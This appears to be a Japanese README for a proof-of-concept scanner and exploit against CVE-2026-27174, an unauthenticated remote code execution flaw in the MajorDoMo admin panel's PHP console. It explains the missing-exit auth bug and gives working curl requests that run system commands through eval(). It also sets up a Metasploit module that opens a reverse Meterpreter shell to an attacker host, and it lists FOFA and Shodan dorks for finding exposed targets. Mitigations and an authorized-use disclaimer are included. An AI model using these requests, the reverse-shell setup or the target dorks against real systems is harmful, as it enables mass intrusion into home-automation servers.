
CVE-2026-27174 - 管理者パネルのPHPコンソール機能を介した未認証のリモートコード実行
MajorDomo(Major Domestic Module)の管理パネルのPHPコンソール機能を介した、認証なしのリモートコード実行(RCE)を悪用する概念実証(PoC)です。
MajorDoMoの管理パネルは、/admin.php を介してPHP評価コンソールを公開しています。panel.class.php の認証リダイレクト後に exit が欠落しているため、AJAXハンドラ inc_panel_ajax.php が無条件にインクルードされ、その eval() は認証されていない任意のHTTPリクエストから到達可能になります。
攻撃者は、認証情報、事前アクセス、被害者の操作を一切必要とせずに、単一のGETリクエストで任意のPHPコードを実行できます。
scan.py は、有害なペイロードを一切実行せずに CVE-2026-27174 に脆弱なホストを検出する、非破壊的なマルチスレッドスキャナです。
スキャナはターゲットごとに、次の3つのフェーズを順に実行します:
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
キャッシュ、WAF、レスポンスの汚染による誤検知を防ぐため、リクエストごとにランダムな英数字マーカーが生成されます。
pip install requests
1行に1つの IP:PORT を記述した targets.txt ファイルを作成します:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.json脆弱なホストが1つ以上見つかった場合に自動生成されます:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
| フィールド | 説明 |
|---|---|
target | スキャンした IP:PORT |
url | RCE が確認された完全なURL |
rce_php | PHPコード実行が確認された(結果では常に true) |
disable_functions | サーバーの disable_functions PHP設定(空の場合は null) |
system_functions_available | 攻撃者が呼び出し可能なOS実行関数 |
impact_level | HIGH(OSコマンド実行が到達可能)または MEDIUM(PHP RCEのみ) |
result.json ファイルの system_functions_available フィールドの結果に基づいて、system 関数を使用して RCE を悪用するGETリクエストを作成できます:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Metasploitモジュール:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
リモートの認証されていない攻撃者は以下が可能です:
実際の影響は、サーバーの disable_functions PHP設定によって異なります:
| シナリオ | 影響レベル | 説明 |
|---|---|---|
disable_functions なし | CRITICAL | OSコマンド実行が完全に可能 |
| 部分的な制限 | HIGH | PHP RCE + 部分的なOSコマンド実行 |
disable_functions がすべてのexecをブロック | MEDIUM | PHP RCEのみ(ファイルの読み書き、データの外部持ち出し) |
CVSS 4.0 - 9.3 CRITICAL — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MajorDomo(Major Domestic Module)の最新バージョンに更新してください。
| 対策 | RCEを防止 | OSコマンド実行を防止 |
|---|---|---|
| 2026年2月18日のパッチ適用 | ✅ | ✅ |
/admin.php へのファイアウォール/IP許可リスト | ✅ | ✅ |
disable_functions の堅牢化 | ❌ | ✅ |
このツールは、許可されたセキュリティテスト専用です。コンピュータシステムへの不正アクセスは違法です。